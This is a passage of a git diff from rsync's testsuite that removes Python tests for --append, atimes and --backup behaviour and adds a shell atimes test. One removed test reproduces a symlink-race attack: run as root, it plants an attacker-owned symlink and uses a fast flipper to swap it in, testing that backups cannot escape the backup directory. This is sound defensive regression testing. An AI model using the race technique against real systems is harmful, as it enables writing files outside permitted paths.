redo) pass computes the strong block sum length\n-(s2length).  The generator used to cap it at SUM_LENGTH (16), the legacy MD4/MD5\n-digest size, regardless of the negotiated algorithm.  Since the sum2 array holds\n-xfer_sum_len-byte elements and the sender rejects an s2length larger than\n-xfer_sum_len, a sub-16-byte transfer checksum -- xxh64 (8 bytes), which is what\n-rsync negotiates when the build's libxxhash lacks xxh128/xxh3 (e.g. Ubuntu\n-20.04) -- made the sender die with \"Invalid checksum length 16 [sender]\"\n-(protocol incompatibility, code 2).\n-\n-Forcing --checksum-choice=xxh64 reproduces it on any build that has xxhash, so\n-this guards the fix without needing an old-libxxhash host.  Skipped where xxh64\n-is unavailable (a build without xxhash).\n-\"\"\"\n-\n-import json\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR, assert_same, make_data_file, rmtree, run_rsync,\n-    test_skipped,\n-)\n-\n-vv = json.loads(run_rsync('-VV', check=True, capture_output=True).stdout)\n-if 'xxh64' not in vv.get('checksum_list', []):\n-    test_skipped(\"xxh64 not in this build's checksum list (no xxhash)\")\n-\n-src, dst = FROMDIR, TODIR\n-rmtree(src)\n-rmtree(dst)\n-src.mkdir(parents=True)\n-dst.mkdir(parents=True)\n-\n-# Source longer than the destination so --append has bytes to add; the dest is a\n-# *corrupted* prefix so --append-verify's whole-file check fails and the file is\n-# redone with a full checksum -- the csum_length == SUM_LENGTH path that emitted\n-# the over-long s2length.\n-make_data_file(src / 'f', 40000)\n-full = (src / 'f').read_bytes()\n-prefix = bytearray(full[:20000])\n-prefix[0:64] = b'\\x00' * 64\n-(dst / 'f').write_bytes(bytes(prefix))\n-\n-# --no-whole-file forces the delta/checksum path regardless of local-vs-remote.\n-# run_rsync(check=True) fails the test on the non-zero exit the bug produced.\n-run_rsync('-a', '--append-verify', '--checksum-choice=xxh64', '--no-whole-file',\n-          f'{src}/', f'{dst}/')\n-assert_same(dst / 'f', src / 'f', label='append-verify xxh64 redo')\n-\n-print(\"append-shortsum: --append-verify with an 8-byte (xxh64) checksum no \"\n-      \"longer overflows the block s2length\")\ndiff --git a/testsuite/append_test.py b/testsuite/append_test.py\ndeleted file mode 100644\nindex 46c7833..0000000\n--- a/testsuite/append_test.py\n+++ /dev/null\n@@ -1,73 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --append and --append-verify at depth.\n-\n---append assumes each destination file is a prefix of the (longer) source and\n-transfers only the bytes past the existing size; it does NOT re-check the data\n-already present, and it never touches a file that is already the same size or\n-larger. --append-verify works the same way but folds the existing data into the\n-whole-file checksum, so a transfer whose result fails verification is re-sent\n-with a normal --inplace pass. Exercise both on files >=3 levels deep.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    assert_same, forced_protocol, make_tree, rmtree, run_rsync, test_fail,\n-    walk_files,\n-)\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2', 'd3', 'f3')\n-\n-\n-def seed_source():\n-    rmtree(src)\n-    make_tree(src, depth=3, data=True, data_size=8192)\n-    return [p.relative_to(src) for p in walk_files(src)]\n-\n-\n-def dest_prefix(rels, *, corrupt=False, frac=0.5):\n-    \"\"\"Build a destination holding the first `frac` of each source file (a\n-    valid prefix), optionally corrupting the deep file's leading bytes.\"\"\"\n-    rmtree(TODIR)\n-    for rel in rels:\n-        dst = TODIR / rel\n-        dst.parent.mkdir(parents=True, exist_ok=True)\n-        full = (src / rel).read_bytes()\n-        dst.write_bytes(full[: int(len(full) * frac)])\n-    if corrupt:\n-        p = TODIR / deep\n-        bad = bytearray(p.read_bytes())\n-        bad[0:64] = b'\\x00' * 64\n-        p.write_bytes(bytes(bad))\n-\n-\n-# --- --append completes truncated destinations at every level ---------------\n-rels = seed_source()\n-dest_prefix(rels)\n-run_rsync('-a', '--append', f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'append {rel}')\n-\n-# The split between non-verifying --append and verifying --append-verify only\n-# exists at protocol >= 30; at protocol 29 plain --append still verifies, so\n-# skip the distinguishing sub-cases there.\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    print(f\"append: protocol {proto} -- skipping the --append/--append-verify \"\n-          \"split (verifying-append behaviour predates the protocol-30 split)\")\n-else:\n-    # plain --append trusts a corrupted prefix (leaves it wrong)\n-    dest_prefix(rels, corrupt=True)\n-    run_rsync('-a', '--append', f'{src}/', f'{TODIR}/')\n-    if (TODIR / deep).read_bytes() == (src / deep).read_bytes():\n-        test_fail(\"plain --append unexpectedly repaired a corrupted prefix \"\n-                  \"(it should append only and trust the existing data)\")\n-\n-    # --append-verify detects the bad prefix and re-sends the whole file\n-    dest_prefix(rels, corrupt=True)\n-    run_rsync('-a', '--append-verify', f'{src}/', f'{TODIR}/')\n-    assert_same(TODIR / deep, src / deep, label='append-verify deep')\n-\n-print(\"append: tail-only completion at depth; append-verify repairs prefix\")\ndiff --git a/testsuite/atimes.test b/testsuite/atimes.test\nnew file mode 100644\nindex 0000000..4d46eb0\n--- /dev/null\n+++ b/testsuite/atimes.test\n@@ -0,0 +1,19 @@\n+#!/bin/sh\n+\n+# Test rsync copying atimes\n+\n+. \"$suitedir/rsync.fns\"\n+\n+$RSYNC -VV | grep '\"atimes\": true' >/dev/null || test_skipped \"Rsync is configured without atimes support\"\n+\n+mkdir \"$fromdir\"\n+\n+touch \"$fromdir/foo\"\n+touch -a -t 200102031717.42 \"$fromdir/foo\"\n+\n+TLS_ARGS=--atimes\n+\n+checkit \"$RSYNC -rtUgvvv \\\"$fromdir/\\\" \\\"$todir/\\\"\" \"$fromdir\" \"$todir\"\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/atimes_test.py b/testsuite/atimes_test.py\ndeleted file mode 100644\nindex bb8d326..0000000\n--- a/testsuite/atimes_test.py\n+++ /dev/null\n@@ -1,33 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/atimes.test.\n-#\n-# Test that rsync preserves source atimes when the binary was built with\n-# atimes support. We pin the source file's atime to a known historical\n-# value then sync with -U; the listing (with --atimes in tls) must match\n-# between source and destination.\n-\n-import os\n-\n-import rsyncfns\n-from rsyncfns import FROMDIR, TODIR, checkit, run_rsync, test_skipped\n-\n-\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"atimes\": true' not in vv.stdout:\n-    test_skipped(\"Rsync is configured without atimes support\")\n-\n-FROMDIR.mkdir(parents=True, exist_ok=True)\n-foo = FROMDIR / 'foo'\n-foo.touch()\n-\n-# `touch -a -t 200102031717.42` -> set atime to 2001-02-03 17:17:42, mtime unchanged.\n-import datetime\n-atime = datetime.datetime(2001, 2, 3, 17, 17, 42).timestamp()\n-mtime = foo.stat().st_mtime\n-os.utime(foo, (atime, mtime))\n-\n-# Make the listing include atimes so checkit's tls compare picks up the\n-# transferred atime.\n-rsyncfns.TLS_ARGS = '--atimes'\n-\n-checkit(['-rtUgvvv', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\ndiff --git a/testsuite/backup-acl-xattr-cache_test.py b/testsuite/backup-acl-xattr-cache_test.py\ndeleted file mode 100644\nindex eacd4e6..0000000\n--- a/testsuite/backup-acl-xattr-cache_test.py\n+++ /dev/null\n@@ -1,77 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage: cache_tmp_acl/cache_tmp_xattr (and cache_rsync_acl/uncache_duo_acls)\n-in backup.c make_backup_dir_tree().\n-\n-When --backup --backup-dir=<dir> backs up a file at a nested path, rsync\n-recreates the intermediate directories under the backup dir and copies\n-each one's ACL/xattrs from the corresponding live directory.  That copy\n-goes through cache_tmp_acl()/cache_tmp_xattr() (backup.c:~127/134), which\n-no other test reaches: backup_test.py doesn't pass -A/-X, and the\n-make_backup() per-file path normally short-circuits via link_or_rename()\n-on a same-fs backup dir, never reaching its own cache_tmp_* block.\n-\n-Skips when the scratch fs lacks ACL or xattr support.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    acls_supported, xattrs_supported, acl_set, xattr_set,\n-    makepath, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-import subprocess\n-\n-if not acls_supported():\n-    test_skipped(\"ACLs not supported on this filesystem\")\n-if not xattrs_supported():\n-    test_skipped(\"xattrs not supported on this filesystem\")\n-\n-src = SCRATCHDIR / 'bak-src'\n-dest = SCRATCHDIR / 'bak-dest'\n-bak = SCRATCHDIR / 'bak-dir'\n-rmtree(src); rmtree(dest); rmtree(bak)\n-makepath(src / 'd1' / 'd2', dest / 'd1' / 'd2', bak)\n-\n-# Stage: dest has an OLDER d1/d2/file than src, so the next push backs it up.\n-(src / 'd1' / 'd2' / 'file').write_bytes(b'NEW')\n-(dest / 'd1' / 'd2' / 'file').write_bytes(b'OLD')\n-os.utime(dest / 'd1' / 'd2' / 'file', (1_600_000_000, 1_600_000_000))\n-\n-# Decorate the LIVE dest dirs with an ACL and an xattr -- these are what\n-# make_backup_dir_tree() reads via get_acl()/get_xattr() and passes through\n-# cache_tmp_acl()/cache_tmp_xattr() when it mkdirs bak/d1 and bak/d2.\n-for d in (dest / 'd1', dest / 'd1' / 'd2'):\n-    if not acl_set('u:0:rwx', d):\n-        test_skipped(f\"setfacl failed on {d}\")\n-    xattr_set('user.bak-cache', 'v', d)\n-\n-r = subprocess.run(\n-    rsync_argv('-aAX', '--backup', f'--backup-dir={bak}', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True,\n-)\n-if r.returncode != 0:\n-    test_fail(f\"-aAX --backup --backup-dir push -> rc={r.returncode}\\n{r.stderr}\")\n-\n-# Backed-up file present, and the intermediate backup dirs were created.\n-bf = bak / 'd1' / 'd2' / 'file'\n-if not bf.is_file() or bf.read_bytes() != b'OLD':\n-    test_fail(f\"backup file missing or wrong content: {bf}\")\n-for d in (bak / 'd1', bak / 'd1' / 'd2'):\n-    if not d.is_dir():\n-        test_fail(f\"backup intermediate dir not created: {d}\")\n-\n-# Coverage goal: cache_tmp_acl/cache_tmp_xattr were *entered* (which the\n-# structural checks above plus -A -X on a nested backup path guarantee --\n-# verified via gcov: backup.c:127/134 each fire 2x for d1 and d2).  Whether\n-# set_file_attrs() then propagates the cached ACL/xattr onto the freshly-\n-# mkdired backup dir is a separate behavioural question we deliberately do\n-# NOT assert here, since it depends on set_file_attrs's compare-against-dest\n-# path and the answer is the same with or without this test.\n-\n-# And dest/d1/d2/file is the new content.\n-if (dest / 'd1' / 'd2' / 'file').read_bytes() != b'NEW':\n-    test_fail(\"dest/d1/d2/file not updated to NEW\")\n-\n-print(\"backup-acl-xattr-cache: make_backup_dir_tree cache_tmp_acl/xattr -> \"\n-      \"bak/d1, bak/d2 created with propagated ACL+xattr\")\ndiff --git a/testsuite/backup-crossdev-copy_test.py b/testsuite/backup-crossdev-copy_test.py\ndeleted file mode 100644\nindex 232c82f..0000000\n--- a/testsuite/backup-crossdev-copy_test.py\n+++ /dev/null\n@@ -1,110 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage: backup.c make_backup() copy-fallback for non-regular files.\n-\n-make_backup() first tries link_or_rename() -- hard-link, then rename --\n-into the backup dir.  On Linux that always succeeds for symlinks/FIFOs on\n-the same filesystem, so the copy-fallback (lines ~261-349: make_file() +\n-do_symlink_at()/do_mknod_at()/copy_file()) is never reached by the suite.\n-\n-When --backup-dir is on a DIFFERENT filesystem, both link() and rename()\n-fail with EXDEV and make_backup() falls through to recreating each item:\n-do_symlink_at() for symlinks, do_mknod_at() for FIFOs/specials,\n-copy_file() for regular files.  This test puts the backup dir on tmpfs\n-(probed via /dev/shm) and asserts each type is backed up correctly.\n-\"\"\"\n-\n-import os\n-import shutil\n-import stat\n-import subprocess\n-import tempfile\n-\n-from rsyncfns import (\n-    SCRATCHDIR, FROMDIR,\n-    makepath, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-# Find a writable directory on a different st_dev from SCRATCHDIR (typically\n-# tmpfs at /dev/shm).  Without one the EXDEV path can't fire -- skip cleanly.\n-scratch_dev = os.stat(SCRATCHDIR).st_dev\n-TMPFS = None\n-for cand in ('/dev/shm', '/run/shm', os.environ.get('TMPDIR', '/tmp')):\n-    try:\n-        if os.stat(cand).st_dev != scratch_dev and os.access(cand, os.W_OK):\n-            TMPFS = cand\n-            break\n-    except OSError:\n-        continue\n-if TMPFS is None:\n-    test_skipped(\"no writable cross-device dir (tmpfs) for --backup-dir EXDEV path\")\n-\n-src = FROMDIR\n-dst = SCRATCHDIR / 'bak-xdev-dst'\n-for d in (src, dst):\n-    rmtree(d)\n-makepath(src, dst)\n-\n-bak = tempfile.mkdtemp(prefix='rsync-bak-xdev-', dir=TMPFS)\n-\n-# dst holds the items that will be BACKED UP; src holds different-typed\n-# replacements so the generator deletes-with-backup before recreating.\n-# - reg:  dst regular gen1 -> src regular gen2  (copy_file fallback)\n-# - lnk:  dst symlink target-gen1 -> src symlink target-gen2\n-#                                               (do_symlink_at fallback)\n-# - fifo: dst FIFO -> src REGULAR file          (FIFO is backed up via the\n-#                                                IS_SPECIAL do_mknod_at fallback,\n-#                                                then replaced by a regular file)\n-(dst / 'reg').write_text('gen1\\n')\n-(src / 'reg').write_text('gen1\\n' * 2)  # different size -> transfer\n-os.symlink('target-gen1', dst / 'lnk')\n-os.symlink('target-gen2', src / 'lnk')\n-have_fifo = True\n-try:\n-    os.mkfifo(dst / 'fifo', 0o644)\n-except OSError:\n-    have_fifo = False\n-(src / 'fifo').write_text('replaces-fifo\\n')\n-\n-have_lnk = (dst / 'lnk').is_symlink()\n-\n-try:\n-    # -rlpD: recurse, symlinks, perms (so the FIFO perm-diff triggers\n-    # replacement), specials/devices.  --debug=backup so the per-type\n-    # \"make_backup: SYMLINK/DEVICE/COPY ... successful\" lines fire too.\n-    r = subprocess.run(\n-        rsync_argv('-rlpD', '--debug=backup',\n-                   '--backup', f'--backup-dir={bak}',\n-                   f'{src}/', f'{dst}/'),\n-        capture_output=True, text=True,\n-    )\n-    if r.returncode != 0:\n-        test_fail(f\"--backup --backup-dir=<cross-dev> failed \"\n-                  f\"(rc={r.returncode}):\\n{r.stderr}\")\n-\n-    # Regular file: copy_file() fallback.\n-    breg = os.path.join(bak, 'reg')\n-    if not os.path.isfile(breg):\n-        test_fail(f\"regular-file backup not created at {breg}\")\n-    if open(breg).read() != 'gen1\\n':\n-        test_fail(f\"regular-file backup has wrong content \"\n-                  f\"(expected dst's original 'gen1\\\\n', got {open(breg).read()!r})\")\n-\n-    # Symlink: do_symlink_at() fallback.\n-    if have_lnk:\n-        blnk = os.path.join(bak, 'lnk')\n-        if not os.path.islink(blnk):\n-            test_fail(f\"symlink backup not created at {blnk}\")\n-        if os.readlink(blnk) != 'target-gen1':\n-            test_fail(f\"symlink backup target wrong: {os.readlink(blnk)!r} != 'target-gen1'\")\n-\n-    # FIFO: do_mknod_at() fallback.\n-    if have_fifo:\n-        bfifo = os.path.join(bak, 'fifo')\n-        if not (os.path.exists(bfifo) and stat.S_ISFIFO(os.lstat(bfifo).st_mode)):\n-            test_fail(f\"FIFO backup not created at {bfifo}\")\n-\n-    print(f\"backup-crossdev-copy: --backup-dir on {TMPFS} (EXDEV) -> \"\n-          f\"reg=COPY{', lnk=SYMLINK' if have_lnk else ''}\"\n-          f\"{', fifo=MKNOD' if have_fifo else ''}\")\n-finally:\n-    shutil.rmtree(bak, ignore_errors=True)\ndiff --git a/testsuite/backup-deep_test.py b/testsuite/backup-deep_test.py\ndeleted file mode 100644\nindex f2f754c..0000000\n--- a/testsuite/backup-deep_test.py\n+++ /dev/null\n@@ -1,86 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Property-level coverage of --backup / --suffix / --backup-dir at depth.\n-\n-backup_test.py is the ported regression test (2 levels, no custom suffix); this\n-companion checks the concrete outcome of each backup mode at >=3 levels and,\n-for --backup-dir, with the backup tree placed OUTSIDE the destination (a\n-sibling) so the old file is renamed across directories into a parallel deep\n-path -- the cross-directory operation the resolver restructure rewrites.\n-\n-Asserts, at every level of the tree:\n-  * --backup --suffix=S  saves the overwritten file as <name>S beside the new\n-    one (old content in the backup, new content in place);\n-  * --backup --backup-dir=DIR  relocates the old file to DIR/<relpath>,\n-    preserving the deep structure, while the destination gets the new content;\n-  * --backup-dir together with --delete  routes a deletion into the backup\n-    tree instead of losing it.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_not_exists, assert_same, make_tree, rmtree, run_rsync, test_fail,\n-    walk_files,\n-)\n-\n-src = FROMDIR\n-bak = SCRATCHDIR / 'backups'   # sibling of from/ and to/ -- outside both trees\n-\n-\n-def seed():\n-    \"\"\"Fresh v1 source, a matching destination, and the old (v1) bytes; then\n-    mutate the source to v2 so the next sync overwrites every file.\"\"\"\n-    rmtree(src)\n-    rmtree(TODIR)\n-    rmtree(bak)\n-    make_tree(src, depth=3, data=True, data_size=4096)\n-    rels = [p.relative_to(src) for p in walk_files(src)]\n-    run_rsync('-a', f'{src}/', f'{TODIR}/')\n-    old = {rel: (src / rel).read_bytes() for rel in rels}\n-    for rel in rels:                       # v1 -> v2\n-        with open(src / rel, 'ab') as f:\n-            f.write(b'\\nversion-2 tail\\n')\n-    return rels, old\n-\n-\n-# --- --backup --suffix=.old (same directory) --------------------------------\n-rels, old = seed()\n-run_rsync('-a', '-b', '--suffix=.old', '--no-whole-file',\n-          f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'suffix new {rel}')\n-    backup = (TODIR / rel)\n-    backup = backup.with_name(backup.name + '.old')\n-    if not backup.is_file():\n-        test_fail(f\"--suffix backup missing for {rel}: {backup}\")\n-    if backup.read_bytes() != old[rel]:\n-        test_fail(f\"--suffix backup of {rel} does not hold the old content\")\n-\n-# --- --backup-dir at depth, outside the dest tree (cross-dir) ---------------\n-rels, old = seed()\n-run_rsync('-a', '-b', f'--backup-dir={bak}', '--no-whole-file',\n-          f'{src}/', f'{TODIR}/')\n-for rel in rels:\n-    assert_same(TODIR / rel, src / rel, label=f'backup-dir new {rel}')\n-    saved = bak / rel\n-    if not saved.is_file():\n-        test_fail(f\"--backup-dir did not preserve deep path for {rel}: {saved}\")\n-    if saved.read_bytes() != old[rel]:\n-        test_fail(f\"--backup-dir copy of {rel} does not hold the old content\")\n-\n-# --- --backup-dir captures a deletion under --delete ------------------------\n-rels, old = seed()\n-# Add a deep file to the destination that is absent from the source.\n-extra = os.path.join('d1', 'd2', 'd3', 'goner')\n-(TODIR / extra).write_bytes(b'about to be deleted\\n')\n-run_rsync('-a', '--delete', '-b', f'--backup-dir={bak}', '--no-whole-file',\n-          f'{src}/', f'{TODIR}/')\n-assert_not_exists(TODIR / extra, label='deleted file removed from dest')\n-saved = bak / extra\n-if not saved.is_file():\n-    test_fail(f\"--backup-dir did not capture the deletion of {extra}\")\n-if saved.read_bytes() != b'about to be deleted\\n':\n-    test_fail(\"captured deletion has the wrong content\")\n-\n-print(\"backup-deep: suffix / backup-dir / delete-capture verified at depth\")\ndiff --git a/testsuite/backup-dir-relative_test.py b/testsuite/backup-dir-relative_test.py\ndeleted file mode 100644\nindex 8d89f89..0000000\n--- a/testsuite/backup-dir-relative_test.py\n+++ /dev/null\n@@ -1,47 +0,0 @@\n-\"\"\"Pin that a relative `--backup-dir` is relative to the DESTINATION dir.\n-\n-The rsync(1) `--backup-dir` entry says \"if you specify a relative path, the\n-backup directory will be relative to the destination directory\".  This test\n-measures it: with `--backup-dir=bak` and a destination `d`, the replaced file's\n-backup lands at `d/bak/...`, not under the invoking cwd.\n-\n-Pure local client behaviour: no daemon/root/tcp.  Cross-version: expected\n-identical against --rsync-bin=old_versions/rsync_3.2.7.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail\n-\n-base = SCRATCHDIR / 'backup-dir-rel'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-src = base / 'src'\n-dst = base / 'dst'\n-src.mkdir()\n-dst.mkdir()\n-# Different sizes so the quick-check always updates (and thus backs up).\n-(dst / 'file').write_text('OLD\\n')\n-(src / 'file').write_text('NEWER-CONTENT\\n')\n-\n-# Run from `base` so a cwd-relative interpretation would put the backup at\n-# base/bak -- distinguishable from the dest-relative base/dst/bak.\n-subprocess.run(\n-    rsync_argv('-a', '-b', '--backup-dir=bak', f'{src}/', f'{dst}/'),\n-    cwd=str(base), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-dest_rel = dst / 'bak' / 'file'\n-cwd_rel = base / 'bak' / 'file'\n-\n-if cwd_rel.exists():\n-    test_fail(\"--backup-dir: relative path was interpreted relative to the cwd, \"\n-              \"not the destination dir\")\n-if not dest_rel.is_file() or dest_rel.read_text() != 'OLD\\n':\n-    test_fail(\"--backup-dir: backup did not land under the destination dir \"\n-              \"(expected dst/bak/file with the old content)\")\n-if (dst / 'file').read_text() != 'NEWER-CONTENT\\n':\n-    test_fail(\"--backup-dir: destination file was not updated\")\n-\n-print(\"backup-dir-relative: a relative --backup-dir lands under the destination \"\n-      \"dir (dst/bak/file), not the invoking cwd\")\ndiff --git a/testsuite/backup-dir-repeated-separator-delete_test.py b/testsuite/backup-dir-repeated-separator-delete_test.py\ndeleted file mode 100644\nindex 820efce..0000000\n--- a/testsuite/backup-dir-repeated-separator-delete_test.py\n+++ /dev/null\n@@ -1,49 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Repeated backup-dir separators must not replace the backup directory.\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail\n-\n-\n-OLD = b'old destination bytes\\n'\n-NEW = b'new source bytes with a different length\\n'\n-SENTINEL = b'unrelated backup history\\n'\n-NESTED = b'nested backup history\\n'\n-\n-base = SCRATCHDIR / 'backup-dir-repeated-separator-delete'\n-rmtree(base)\n-source = base / 'source'\n-destination = base / 'destination'\n-backup = base / 'backup'\n-makepath(source)\n-makepath(destination)\n-makepath(backup / 'nested')\n-\n-(source / 'file').write_bytes(NEW)\n-(destination / 'file').write_bytes(OLD)\n-(backup / 'sentinel').write_bytes(SENTINEL)\n-(backup / 'nested' / 'history').write_bytes(NESTED)\n-os.utime(source / 'file', (1_750_000_000, 1_750_000_000))\n-os.utime(destination / 'file', (1_700_000_000, 1_700_000_000))\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', '--backup', f'--backup-dir={backup}//',\n-               f'{source}/', f'{destination}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-)\n-if proc.returncode != 0:\n-    test_fail(f'repeated-separator transfer exited {proc.returncode}:\\n{proc.stdout}')\n-if not backup.is_dir():\n-    test_fail('repeated separator replaced the backup directory itself')\n-if not (backup / 'file').is_file() or (backup / 'file').read_bytes() != OLD:\n-    test_fail('old destination was not stored as backup/file')\n-if not (backup / 'sentinel').is_file() or (backup / 'sentinel').read_bytes() != SENTINEL:\n-    test_fail('repeated separator deleted unrelated top-level backup history')\n-if ((backup / 'nested' / 'history').read_bytes() != NESTED):\n-    test_fail('repeated separator deleted unrelated nested backup history')\n-if (destination / 'file').read_bytes() != NEW:\n-    test_fail('new source content was not published at the destination')\n-\n-print('backup-dir-repeated-separator-delete: backup tree and history preserved')\ndiff --git a/testsuite/backup-dir-symlink-race_test.py b/testsuite/backup-dir-symlink-race_test.py\ndeleted file mode 100644\nindex 1d67e3e..0000000\n--- a/testsuite/backup-dir-symlink-race_test.py\n+++ /dev/null\n@@ -1,127 +0,0 @@\n-#!/usr/bin/env python3\n-# Non-daemon (local) --backup-dir parent-component symlink-race confinement.\n-#\n-# Companion to nondaemon-symlink-race (which pins the DETERMINISTIC leaf case:\n-# the whole --backup-dir is a pre-planted escaping symlink).  Here the escaping\n-# symlink is a PARENT component of the backup path that an attacker flips\n-# dir<->symlink UNDER A RACE:\n-#\n-#     rsync -a -b --chmod=777 --backup-dir=backup src/ dest/\n-#\n-# Differing files in dest/sub/ are backed up to backup/sub/.  A concurrent\n-# flipper swaps backup/sub between a real directory and a symlink -> outside.\n-# If the receiver resolves the backup path while \"sub\" is the symlink and\n-# renames the old dest file through it, the (0777) backup lands in outside/,\n-# clobbering a sentinel there -- an escape.  The static parent-component case\n-# does NOT reproduce (a pre-existing symlink-to-dir is handled without escape);\n-# only the race window exposes it, so this case needs the flipper.\n-#\n-# The operator-path policy follows a symlink owned by uid 0 or the euid (the\n-# operator's OWN backup dir) and refuses a foreign-owned one, so the boundary is\n-# an ATTACKER-owned backup symlink with rsync run as root.  The held-dirfd /\n-# ownership-walk resolver must refuse it on every flip, not just statically.\n-#\n-# RED on stock rsync (the pre-resolver code follows the parent symlink under the\n-# race); GREEN once make_backup resolves through the operator-path resolver.\n-# --insecure-links is the documented opt-out and is exercised by the matrix\n-# tests, not here.\n-\n-import os\n-import stat\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget, find_attacker_uid,\n-    rmtree, rsync_argv, start_c_flipper, stop_flipper, test_fail, test_skipped,\n-)\n-\n-# Cross-uid plant needs root: only root can own a symlink by a foreign uid and\n-# thereby make it \"not the operator's own\".  At any other uid the boundary\n-# cannot be built, so the race would be vacuous.\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a backup-dir symlink owned by a non-self uid\")\n-ATT_UID = find_attacker_uid()\n-if ATT_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-NFILES = 95\n-\n-base = SCRATCHDIR / 'bdir-race'\n-src = base / 'src'\n-dest = base / 'dest'\n-backup = base / 'backup'\n-outside = base / 'outside'\n-sub = backup / 'sub'            # the parent the attacker flips dir<->symlink\n-sublink = backup / '.sublink'   # symlink -> outside, swapped in for `sub`\n-\n-\n-def build():\n-    rmtree(base)\n-    for d in (src / 'sub', dest / 'sub', backup, outside):\n-        d.mkdir(parents=True)\n-    for i in range(NFILES):\n-        (src / 'sub' / f'f{i}').write_text('payload\\n')\n-        os.chmod(src / 'sub' / f'f{i}', 0o777)\n-        (dest / 'sub' / f'f{i}').write_text('different\\n')\n-        os.chmod(dest / 'sub' / f'f{i}', 0o777)\n-        # Out-of-tree sentinels at a distinctive 0600: a 0777 here means a\n-        # backed-up dest file escaped through the flipped symlink.\n-        (outside / f'f{i}').write_text('do-not-touch\\n')\n-        os.chmod(outside / f'f{i}', 0o600)\n-    sub.mkdir()\n-    os.symlink(str(outside), sublink)\n-    os.lchown(sublink, ATT_UID, ATT_UID)   # foreign-owned: must be refused\n-\n-\n-def push():\n-    subprocess.run(\n-        rsync_argv('-a', '-b', '--chmod=777', f'--backup-dir={backup}',\n-                   f'{src}/', f'{dest}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    )\n-\n-\n-def escaped() -> bool:\n-    # Any out-of-tree sentinel turned 0777 == a backup escaped through the symlink.\n-    with os.scandir(outside) as it:\n-        for e in it:\n-            if e.is_file() and stat.S_IMODE(e.stat().st_mode) == 0o777:\n-                return True\n-    return False\n-\n-\n-# ---- positive control: with `sub` a plain dir, a normal push really does back\n-# up into backup/sub/, so the race below isn't vacuous. ----------------------\n-build()\n-push()\n-if not (sub / 'f0').is_file():\n-    test_fail(\"positive control: a normal push did not create backup/sub/f0 -- \"\n-              \"backups are not happening, so the race scenario would be vacuous\")\n-if escaped():\n-    test_fail(\"positive control: a sentinel was already 0777 before the race\")\n-\n-\n-# ---- the race --------------------------------------------------------------\n-# Flip backup/sub between the real dir and the attacker-owned symlink->outside.\n-# The swap is name-only renames, so the symlink keeps its foreign owner; the\n-# resolver must refuse it on every flip it happens to observe.  The compiled\n-# flipper (renameat2 EXCHANGE) flips fast enough to win the window reliably even\n-# on a slow journaled fs; it degrades to the Python flipper where no compiler is.\n-flip = start_c_flipper(sub, sublink)\n-try:\n-    deadline = time.monotonic() + race_budget(10.0)\n-    while time.monotonic() < deadline:\n-        # Re-dirty the dest files so every push triggers fresh backups.\n-        for i in range(80):\n-            (dest / 'sub' / f'f{i}').write_text('changed\\n')\n-        push()\n-        if escaped():\n-            test_fail(\n-                \"backup-dir parent symlink race: a 0777 dest file was backed up \"\n-                f\"into {outside} through the flipped backup/sub symlink -- \"\n-                \"make_backup followed a foreign-owned parent component (escape).\")\n-finally:\n-    stop_flipper(flip)\n-\n-# No escape within the race budget.\ndiff --git a/testsuite/backup-incremental_test.py b/testsuite/backup-incremental_test.py\ndeleted file mode 100644\nindex d8516ca..0000000\n--- a/testsuite/backup-incremental_test.py\n+++ /dev/null\n@@ -1,114 +0,0 @@\n-#!/usr/bin/env python3\n-# Normal-operation test for --backup / --backup-dir, modelling the maintainer's\n-# long-standing incremental rsync backup script.  Each run mirrors SRC -> MIRROR\n-# with  -a --sparse --exclude-from=FILE --delete --delete-excluded  and\n-# --backup --backup-dir=IDIR, where IDIR is a rotating incremental dir (wiped at\n-# the start of each run; two slots).  Effect: the mirror is brought back in sync\n-# with the source, and every file about to be overwritten or deleted (including\n-# by --delete-excluded) is first relocated into that run's IDIR at its relative\n-# path.  Local transfer, runs unprivileged.\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, assert_not_exists, assert_trees_equal, make_data_file,\n-    make_text_file, makepath, rmtree, run_rsync, test_fail,\n-)\n-\n-base = SCRATCHDIR / 'backup-incremental'\n-rmtree(base)\n-base.mkdir()\n-\n-src = base / 'src'                                  # the \"home server\" data\n-backup_root = base / 'backup'                       # BACKUP_DIR\n-mirror = backup_root / 'home'                       # BACKUP_DIR/$name\n-incr = backup_root / 'incremental' / 'home'         # 